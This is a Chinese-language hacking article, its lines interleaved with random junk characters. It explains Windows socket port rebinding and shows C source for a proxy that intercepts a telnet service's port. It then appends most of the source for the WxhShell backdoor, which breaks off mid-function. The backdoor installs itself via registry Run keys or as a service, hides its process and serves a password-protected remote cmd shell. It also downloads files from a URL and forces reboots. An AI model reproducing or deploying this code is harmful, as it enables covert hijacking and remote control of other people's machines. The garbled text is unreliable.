在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(vnoP< 0
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
JYQ.EAsr! 2$tQ @r saddr.sin_family = AF_INET;
eIJ[0c b} ioWo ] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
l~D\;F z+
ZG1\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
85D? dgV ^&MK42,\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
SB/3jH n+rM"Gxz 这意味着什么?意味着可以进行如下的攻击:
`c9'0*- l!:^6i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
n[P\*S zqf[Z3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
e1UITjy f3vF"O 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
toIYE*ocv= ceG&,a$\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A?r^V2+j 'g hys1H 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
VX!hv`E :BD>yOlG 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
/tZ0
|B( -?z\5z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@$c!/ @Z q[e
#include
~j"3}wXc5 #include
, D"]y~~I5 #include
(:n|v% #include
(v^Z BM_ DWORD WINAPI ClientThread(LPVOID lpParam);
"mA1H]r3 int main()
+>}o;`hPe {
R$d7\nBG WORD wVersionRequested;
P#;Th8k{K2 DWORD ret;
kC`Rd:5 WSADATA wsaData;
zN")elBi BOOL val;
=)
}nLS3t SOCKADDR_IN saddr;
V^sc1ak1Q SOCKADDR_IN scaddr;
P,ydt int err;
i/*,N&^ SOCKET s;
)i-gs4[(QN SOCKET sc;
Mq'IkSt' int caddsize;
vxVOcO9< HANDLE mt;
9go))&`PJL DWORD tid;
oj@g2H5P wVersionRequested = MAKEWORD( 2, 2 );
CmnHh~% err = WSAStartup( wVersionRequested, &wsaData );
F>-}*o if ( err != 0 ) {
m#n]Wgp' printf("error!WSAStartup failed!\n");
8wmQ4){ return -1;
b 4OnZ;FI }
^{[[Z.&R? saddr.sin_family = AF_INET;
,hvc``j
S8 aq$q
~,E //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,Xtj;@~- KUKI qAA saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
bo>E"< saddr.sin_port = htons(23);
8R?I`M_b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8UM0vNk {
nNQ-"t printf("error!socket failed!\n");
ShGp^xVj return -1;
oY.\)eJ~> }
iRt*A6`m+ val = TRUE;
vaB!R 0 //SO_REUSEADDR选项就是可以实现端口重绑定的
Y0Rg Jn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^Xs]C|=W {
q.T:0| printf("error!setsockopt failed!\n");
5v|EAjB6o return -1;
JC2*$qu J }
B;W(iI //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
X 8R1a? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
pkk4h2Ah //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"dtlME{Bx fRNP#pi0u if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o;J;k_[MX {
6tm\L ret=GetLastError();
O{q&]~, printf("error!bind failed!\n");
vRr9%zx return -1;
V3uXan_ }
B^q<2S; listen(s,2);
Z@M6!;y# while(1)
\fi}Q\|C {
<5IQc[3]aP caddsize = sizeof(scaddr);
PeNF+5s/K //接受连接请求
_ECB^s_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
R=$Ls6z if(sc!=INVALID_SOCKET)
Qxq-Mpx{ {
h<NRE0- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
8Z8Y[p if(mt==NULL)
e=>%^F {
G~!C=l printf("Thread Creat Failed!\n");
(B}+h break;
9g]M4*?C9P }
fp;a5||5 }
bEI!Ja CloseHandle(mt);
s
MZ[d\ }
mH\@QdF closesocket(s);
BS2?!;,8 WSACleanup();
N!c
gN return 0;
ChE_unw }
$$4W}Ug3U DWORD WINAPI ClientThread(LPVOID lpParam)
:Q-F9o
J {
%VJW@S>j/ SOCKET ss = (SOCKET)lpParam;
u-.L^!k SOCKET sc;
'[fZt# unsigned char buf[4096];
~L'nzquF SOCKADDR_IN saddr;
(("OYj long num;
z_l. V/G) DWORD val;
d)KF3oA DWORD ret;
KlO(o#&N //如果是隐藏端口应用的话,可以在此处加一些判断
e{!vNJ0` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
VMHC/jlX@r saddr.sin_family = AF_INET;
Zi4d] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=DMbz`t saddr.sin_port = htons(23);
28oJFi] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MZ~.(& {
Pfan7fq+ printf("error!socket failed!\n");
ny1 \4C return -1;
fA^SD"xf }
)`Ed_F}k val = 100;
p+<}YDMb if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K\^&+7&zVg {
t.U{Bu
P ret = GetLastError();
Pz`hX$ return -1;
\]8i}E1 }
hk;bk?:m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*h:kmT {
zYr z08PJ ret = GetLastError();
UH20n{_: return -1;
Ub)M*Cq0(o }
yekRwo| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
8*Zvr&B,G {
4bI*jEc\[ printf("error!socket connect failed!\n");
~6d5zI4\ closesocket(sc);
3cThu43c closesocket(ss);
.Dx2 ;lj return -1;
}cW#045es }
=l,#iYJP8 while(1)
ML=z<u+ {
^:z7E1~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
f3&/r //如果是嗅探内容的话,可以再此处进行内容分析和记录
|!Ists //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
A.U'Q| num = recv(ss,buf,4096,0);
fU
={a2 if(num>0)
IG|\:Xz send(sc,buf,num,0);
sTOFw;v% else if(num==0)
hdj%|~Fj break;
MaErx\ num = recv(sc,buf,4096,0);
TzrW if(num>0)
&+- e send(ss,buf,num,0);
v#U pw\! else if(num==0)
nh;y:Bi break;
#r}uin*jD }
=v0~[E4 closesocket(ss);
xb`CdtG2. closesocket(sc);
o4~kX return 0 ;
or.\)(m#( }
B_&^ER5j rzT{-DZB[4 kM`7EPk ==========================================================
CQ1 8%w6 Ja [#[BJ? 下边附上一个代码,,WXhSHELL
X6kaL3L} |Puj7Ru ==========================================================
u+z~ =|V"#3$f #include "stdafx.h"
e &Rb vgAFuQi( #include <stdio.h>
5/(sjMB #include <string.h>
a_%>CD${t #include <windows.h>
Q>%E`h #include <winsock2.h>
Yxqj - #include <winsvc.h>
!I7 ? #include <urlmon.h>
%zflx~ OG}KqG!n #pragma comment (lib, "Ws2_32.lib")
?O7iK<5N #pragma comment (lib, "urlmon.lib")
@_Sp3nWdu ^ZVOql& #define MAX_USER 100 // 最大客户端连接数
6t$N78U #define BUF_SOCK 200 // sock buffer
s41adw> #define KEY_BUFF 255 // 输入 buffer
]-Lruq# }!B.K^@) #define REBOOT 0 // 重启
\(bj(any #define SHUTDOWN 1 // 关机
m1y `v" +{*)}[w{x #define DEF_PORT 5000 // 监听端口
qc&jd 4if\5 P:j #define REG_LEN 16 // 注册表键长度
nx$bM(. #define SVC_LEN 80 // NT服务名长度
?Cc :) 3):?ZCw7y // 从dll定义API
+7Rt{C, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
y/\ZAtnLo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%rXexy!V typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ArX]L$D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
yxY
h?ka 'M-)Os" // wxhshell配置信息
)Y[/! struct WSCFG {
0%H24N
9. int ws_port; // 监听端口
}VZM,.w char ws_passstr[REG_LEN]; // 口令
8<c'x]~ int ws_autoins; // 安装标记, 1=yes 0=no
+C5#$5]; char ws_regname[REG_LEN]; // 注册表键名
XHNkQe char ws_svcname[REG_LEN]; // 服务名
==` Pb char ws_svcdisp[SVC_LEN]; // 服务显示名
Wl
TpX` char ws_svcdesc[SVC_LEN]; // 服务描述信息
?RJdn]`4j char ws_passmsg[SVC_LEN]; // 密码输入提示信息
07Y_^d int ws_downexe; // 下载执行标记, 1=yes 0=no
X TM$a9) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
s9 &)Fv-#V char ws_filenam[SVC_LEN]; // 下载后保存的文件名
y9ip[Xn-$: =h7[E./U1 };
xD^wTtT pU@YiwP"]x // default Wxhshell configuration
V8T#NJ struct WSCFG wscfg={DEF_PORT,
``6{T1fQS "xuhuanlingzhe",
4v>o% 1,
->3uOF!q "Wxhshell",
RUqO!s~#rY "Wxhshell",
n{$}#NdV "WxhShell Service",
TH>,v "Wrsky Windows CmdShell Service",
=-m(\} "Please Input Your Password: ",
XD
5n]AL 1,
OOfyGvs "
http://www.wrsky.com/wxhshell.exe",
[]=_<]{ "Wxhshell.exe"
L9$&-A9ix };
$)f"K i0b.AA // 消息定义模块
\#2
s4RCji char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
[\a:4vDAbi char *msg_ws_prompt="\n\r? for help\n\r#>";
cB<O.@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@o60c char *msg_ws_ext="\n\rExit.";
?0uOR*y' char *msg_ws_end="\n\rQuit.";
ot0U-G( char *msg_ws_boot="\n\rReboot...";
ovbEmb char *msg_ws_poff="\n\rShutdown...";
+\srZ<67 char *msg_ws_down="\n\rSave to ";
3jXR"@Z- J ZA*{n2 char *msg_ws_err="\n\rErr!";
R qnWtE char *msg_ws_ok="\n\rOK!";
@]E]W#xAn W
w^7^q& char ExeFile[MAX_PATH];
aU4R+.M7@ int nUser = 0;
brj[c>ID HANDLE handles[MAX_USER];
aj?2jU~Pq int OsIsNt;
8<Xq=*J+ ;*nh=w SERVICE_STATUS serviceStatus;
6-ti Rk~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
w"BIv9N t@6w$5:} // 函数声明
*.:! Ax int Install(void);
1y 1_6TZ+ int Uninstall(void);
Q7L)f71i int DownloadFile(char *sURL, SOCKET wsh);
*/4tJG1U int Boot(int flag);
@K7ebYr? void HideProc(void);
<o~t$TH int GetOsVer(void);
&{BBxv)y int Wxhshell(SOCKET wsl);
k~{Fnkt void TalkWithClient(void *cs);
>n1h^AW int CmdShell(SOCKET sock);
We\KDU\n int StartFromService(void);
#jOOsfH|k int StartWxhshell(LPSTR lpCmdLine);
dV)Y,Yx0${ X=JFWzC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
J0Jr
BXCh VOID WINAPI NTServiceHandler( DWORD fdwControl );
~m!#FTc* :MK:TJV // 数据结构和表定义
1E8$% 6VV SERVICE_TABLE_ENTRY DispatchTable[] =
uL
bp.N8 {
(VfwLo># {wscfg.ws_svcname, NTServiceMain},
6={IMkmA {NULL, NULL}
RXUA!=e };
o
T:j:n 1k$2LQ // 自我安装
eU`;L[ int Install(void)
F|6
nwvgq {
";75 6'> char svExeFile[MAX_PATH];
JR])xPI` HKEY key;
,tau9>! strcpy(svExeFile,ExeFile);
@51z-T cT\Ov
P*_ // 如果是win9x系统,修改注册表设为自启动
K!9y+%01 if(!OsIsNt) {
3'.!
+# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[TP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Pb0)HlLq RegCloseKey(key);
tp7oc_s?. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
s;anP0-O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
" 98/HzR RegCloseKey(key);
K1/
U
(A return 0;
uFz/PDOZ@ }
JvKO $^ }
*@CVYJ'< }
?){0-A4 else {
fDL3:%D Yd[U // 如果是NT以上系统,安装为系统服务
3(aRs?/O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
MgHOj if (schSCManager!=0)
mluW=fE {
bh{E&1sLh SC_HANDLE schService = CreateService
f+{c1fb>s (
1aBD^^Y schSCManager,
n; Lo wscfg.ws_svcname,
f$Gr`d wscfg.ws_svcdisp,
C_6GOpl SERVICE_ALL_ACCESS,
Ii|uGxEc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
pTc$+Z73 SERVICE_AUTO_START,
#E*@/ p/ SERVICE_ERROR_NORMAL,
+G<}JJ'V svExeFile,
8w03{H
0 NULL,
O5g}2 NULL,
SL6mNn9c NULL,
/TzNdIv NULL,
W/b"a? wE{ NULL
s.f`.o );
d&/^34gn if (schService!=0)
)C'G2RV {
X7t5b7 CloseServiceHandle(schService);
TFAYVK~ CloseServiceHandle(schSCManager);
~D<7W4c strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
E%-Pyg* strcat(svExeFile,wscfg.ws_svcname);
3yeK@>C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
R1II k RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!y.ei1diw RegCloseKey(key);
KK@
&q return 0;
> .a+: }
<ED8"~_ }
FgXu1- CloseServiceHandle(schSCManager);
`6|i&w:b }
|E46vup }
]ev *m&O D-'i G%)kA return 1;
ev~dsk6k }
m"96:v $Sp*)A]E` // 自我卸载
I8%d;G~ int Uninstall(void)
N!tpzHXw {
jjJc1 p0 HKEY key;
p>2|| <f7?PAd if(!OsIsNt) {
<9Lv4`]GU5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bRx2
c
RegDeleteValue(key,wscfg.ws_regname);
?| D$#{^ RegCloseKey(key);
\pjRv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Fg_?!zR>6 RegDeleteValue(key,wscfg.ws_regname);
m-:8jA? RegCloseKey(key);
It#h p,@e return 0;
!F=|*j }
`'z(--J}` }
\hjk$Gq }
s-QM6* else {
nAQyxP% 3!i.Fmo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Gg
7WmL if (schSCManager!=0)
jA20c(O {
y0/WA4, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
lcu( "^{3 if (schService!=0)
FQ;4'B^k] {
<dju6k7uz if(DeleteService(schService)!=0) {
;cM8EU^. CloseServiceHandle(schService);
1x~%Ydy CloseServiceHandle(schSCManager);
$sA,$x:^xI return 0;
8[6ny=S` }
>2l13^Y CloseServiceHandle(schService);
l.__10{ }
b@nri5noBm CloseServiceHandle(schSCManager);
YD/B')/ s }
oUW)H }
nz,Mqol >i^y;5 return 1;
&"U9X"8b }
zWCW: dI b*I&k": // 从指定url下载文件
^CowJ(y( int DownloadFile(char *sURL, SOCKET wsh)
.Q=2WCv0 {
(z8]FT HRESULT hr;
@-)<|orU4 char seps[]= "/";
\iFMU# char *token;
&{-oA_@ char *file;
M/::`yJQu char myURL[MAX_PATH];
Hs:4I char myFILE[MAX_PATH];
{:};(oz)f k| _$R? strcpy(myURL,sURL);
sDLVYD token=strtok(myURL,seps);
Hmz=/.$ while(token!=NULL)
S5:"_U {
|i,zY{GI+2 file=token;
OqfhCNAY token=strtok(NULL,seps);
Bo\a }
WUE)SVf ^kCk^D-Gz GetCurrentDirectory(MAX_PATH,myFILE);
-XS+Uv strcat(myFILE, "\\");
u)q2YLK8 strcat(myFILE, file);
e3yorQ][ send(wsh,myFILE,strlen(myFILE),0);
5PPPd-'Z_ send(wsh,"...",3,0);
_H~pH7WU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@Og\SZhn if(hr==S_OK)
1kB'sc3N! return 0;
x&hvFG3 else
Hrd5p+j return 1;
OPvj{Dv$0 ]p4`7@@)* }
#}[Sj-Vp ^%K1R; // 系统电源模块
;,F-6RNj int Boot(int flag)
8]cv &d1f {
tJ?qcT? HANDLE hToken;
`l[6rf_. TOKEN_PRIVILEGES tkp;
1S*8v 7 w>NZRP_3 if(OsIsNt) {
p6&LZ=tL3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
hYP6z^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
SeRK7Q&_ tkp.PrivilegeCount = 1;
,_"7|z wb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~6@c]: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
D-TNFYYy2 if(flag==REBOOT) {
1=9qAp;?o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
r+{!@`dYi return 0;
E"9/YWv }
B#qL$M,| else {
[M7iJcwt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|0C|$2 return 0;
9[t]] }
({d,oU$>y }
dvg; else {
x*loACee. if(flag==REBOOT) {
GsP@ B' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`@fhge return 0;
hQg,#r(JE4 }
C&gOA8nf else {
eeI9[lTw if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/I`cS%U return 0;
?YkO+?}+ }
"xvV'&lQ }
WryW3];0OR bGMeBj"R return 1;
7.lK$J: }
8
7|8eU2:k O" X!S_R // win9x进程隐藏模块
c"f-$^< void HideProc(void)
7(A
G] {
%9~kA5Qj KV^:sxU HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^-e3=& if ( hKernel != NULL )
~WYE"( {
75hFyh;u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PK.h E{R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
{|Mxvp*Hg FreeLibrary(hKernel);
y]QQvCJr3d }
|*]X\UE zCj*:n return;
d!}jdt5% }
xVHQ[I% Pjj;.c 7_j // 获取操作系统版本
np'M4^E; int GetOsVer(void)
w{YtTZp3 {
&geOFe}R OSVERSIONINFO winfo;
5H'b4Cyi` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@ 2%.>0s. GetVersionEx(&winfo);
6S! lD= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
m5'__< return 1;
2kp|zX( else
:uT
fhr return 0;
T_(e(5 }
=XRgT1>e .^9/ 0.g8t // 客户端句柄模块
XDrlJvrPL int Wxhshell(SOCKET wsl)
/_zF?5h {
Y>dg10= SOCKET wsh;
BZ\EqB struct sockaddr_in client;
|$.sB|_
N DWORD myID;
D:6x*+jah) r0Y?X\l* while(nUser<MAX_USER)
{R1Cxt} {
v:J.d5 int nSize=sizeof(client);
|j5AU wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T_oW)G if(wsh==INVALID_SOCKET) return 1;
654jS! ;K)?: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
I).^,%>Z) if(handles[nUser]==0)
wEo-a< ( closesocket(wsh);
]mO+<{{4X else
jKb=Zkd nUser++;
uc"[ qT(X }
H z< M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Skk3M? VvMU) return 0;
Tl/Dq(8JH }
bb
O;AiHD soQv?4 // 关闭 socket
!Lg}q!*%>V void CloseIt(SOCKET wsh)
qG2\`+v {
E3.W#=o closesocket(wsh);
e~2*>5\: nUser--;
y?R <g^A ExitThread(0);
.U(SkZ`6 }
-fSKJo#}| v0jz)z<# // 客户端请求句柄
]uj.uWD void TalkWithClient(void *cs)
Tm~#wL
+r {
U*qK*"k "'H7F,k' SOCKET wsh=(SOCKET)cs;
k>z-Zg char pwd[SVC_LEN];
"]\":T char cmd[KEY_BUFF];
BorfEv} SN char chr[1];
bcx{_&1p int i,j;
<1'X)n&Kw$ 5f`XFe$8 while (nUser < MAX_USER) {
cnUU1Uz> Nh7!Ah if(wscfg.ws_passstr) {
;uA_gn! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
B,VSFpPx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{;z
L[AgCg //ZeroMemory(pwd,KEY_BUFF);
ae(]9 VW i=0;
kAQ\t?`x while(i<SVC_LEN) {
Vp-OGX[ cwW~ *90# // 设置超时
@9kk
f{? fd_set FdRead;
8Jy1=R*S struct timeval TimeOut;
\%4+mgiD FD_ZERO(&FdRead);
:#&U95EC0 FD_SET(wsh,&FdRead);
M3Z Jt' | TimeOut.tv_sec=8;
?=@Q12R)X TimeOut.tv_usec=0;
aab4c^Ms= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
:PjUl if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
OAnn`*5Up OrH1fhh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
YDzF( ']o: pwd
=chr[0]; sp|y/r#
if(chr[0]==0xd || chr[0]==0xa) { ? Ge*~d
pwd=0; m+gG &`&u
break; %Pvb>U(Xs
} !\k#{
1[!
i++; y88}f&z#5
} {ZIFj.2
:c/=fWM%
// 如果是非法用户,关闭 socket w-Q 6
-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6~Oje>w;
} @XG`D>%k
me`$5Z`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?28GQyk4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >dC(~j{
b%~3+c
while(1) { R\Ynn^w
?yM/j7Xn
ZeroMemory(cmd,KEY_BUFF); 2'^OtM,
N4]6LA6x6
// 自动支持客户端 telnet标准 Zz*mf+
j=0; [6gHi.`p'
while(j<KEY_BUFF) { %Ja{IWz9L
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E,?aBRxy
cmd[j]=chr[0]; 8Carg~T@
if(chr[0]==0xa || chr[0]==0xd) { @U.}Ei
cmd[j]=0; m=l3O:~J
break; ]3#
@t:>
} 68br
j++; {|wTZ
} ,'{B+CHoS
iU+,Jeu
// 下载文件 F1[[fH
if(strstr(cmd,"http://")) { 2uR4~XjF
send(wsh,msg_ws_down,strlen(msg_ws_down),0); sL`D}_:
if(DownloadFile(cmd,wsh)) <.B> LU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mt]YY<l
else wU3ica&[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5OqsnL_V
} tZBE& :l
else { 9oN'.H^
)PNH| h
switch(cmd[0]) { 8uD%]k=#!
<^c0bY1
// 帮助 `TR9GWU+B
case '?': { "uERa(i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w]YyU5rhS
break; "&o@%){]
} Tu#k+f*s
// 安装 0YRYCO$
case 'i': { _q4dgi z
if(Install()) CbaAnm1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QMpA~x_m
else (eIxU&o'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y0C<b*!"ST
break; "1 TM
} qvE[_1QCc
// 卸载 ['`'&+x&!
case 'r': { ;Wm)e~`,
if(Uninstall()) ,r,;2,;6nd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U5%]nT"[]
else t"Rf67
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mpJ_VS`
break; zw:b7B]
} zYJ`.,#C 5
// 显示 wxhshell 所在路径 a9JJuSRC
case 'p': { Vk=<,<BB
char svExeFile[MAX_PATH]; Vx8.FNJh
strcpy(svExeFile,"\n\r"); m`0{j1K
strcat(svExeFile,ExeFile); XzFqQ-H
send(wsh,svExeFile,strlen(svExeFile),0); @?AE75E{
break; *jSc&{s~
} s/|'1E\F
// 重启 %ycT}Lu
case 'b': { s"!}=kX
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (:k`wh&
if(Boot(REBOOT)) ]-OkW.8d1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =U|SK"oO
else { FOyfk$
closesocket(wsh); BrmFwXLP"
ExitThread(0); xyCcd=
} WZ-{K"56
break; Ybiz]1d
} A^7Zy79
// 关机 Ev ,8?
case 'd': { l_IX+4(@b|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D\~$6#B>>
if(Boot(SHUTDOWN)) o6%f%:&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZlXs7
&_
else { jl29~^@}1i
closesocket(wsh); D)$k{v#~
ExitThread(0); wpMQ 7:j
} Lh$ac-Ct
break; ;]o^u.PC
} j`hbQp\`
// 获取shell I=I%e3GEm
case 's': { KywT Oq
CmdShell(wsh); }i~ j"m
closesocket(wsh); 9jBr868
ExitThread(0); ~u1JR`y
break; A Mfu|%ZL
} hzVO.Q*
// 退出 }/FM#Xh
case 'x': { r{;4(3E2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1#RA+d(
CloseIt(wsh); YH$`r6\S
break; Ki\jiflc7
} (~o+pp!
// 离开 'm((G4
case 'q': { *Y?]="8c#;
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f
8U;T$)
closesocket(wsh); j0M;2 3@[
WSACleanup(); </Lqk3S-!
exit(1); hZG{"O!2s
break; P3>2=qK"E(
} 0 ']M,iC/
} ^<b.j.$<z
} 0+h?Bk
%uMsXa
// 提示信息 KwyXM9h6=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NE nP3A
} }RK9Onh3G
} Jrl
xa3 [
>r Glj
return; SjU6+|l
} m8`A~
1 crjRbi
// shell模块句柄 F.hC%Ncu
int CmdShell(SOCKET sock) 6P$q7G
{ 8b
$7#
STARTUPINFO si; ThB2U(Wf
ZeroMemory(&si,sizeof(si)); M](U"K?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r73Xh"SL
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !%=k/|#
PROCESS_INFORMATION ProcessInfo; RmCR"~
char cmdline[]="cmd"; *()#*0
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Fv
B2y8&W
return 0; IRY2H#:$
} \NRRN eu|
%M:"Ai5:
// 自身启动模式 :oQaN[3>_
int StartFromService(void) G_RK3E[FK
{ {QJ`.6Kt
typedef struct Su^Z{ Ud`
{ 3e:y?hpeL
DWORD ExitStatus; -z94>}Z=
DWORD PebBaseAddress; B5S1F4
DWORD AffinityMask; ],m-,K
DWORD BasePriority; eSf:[^
ULONG UniqueProcessId; {^iV<>J
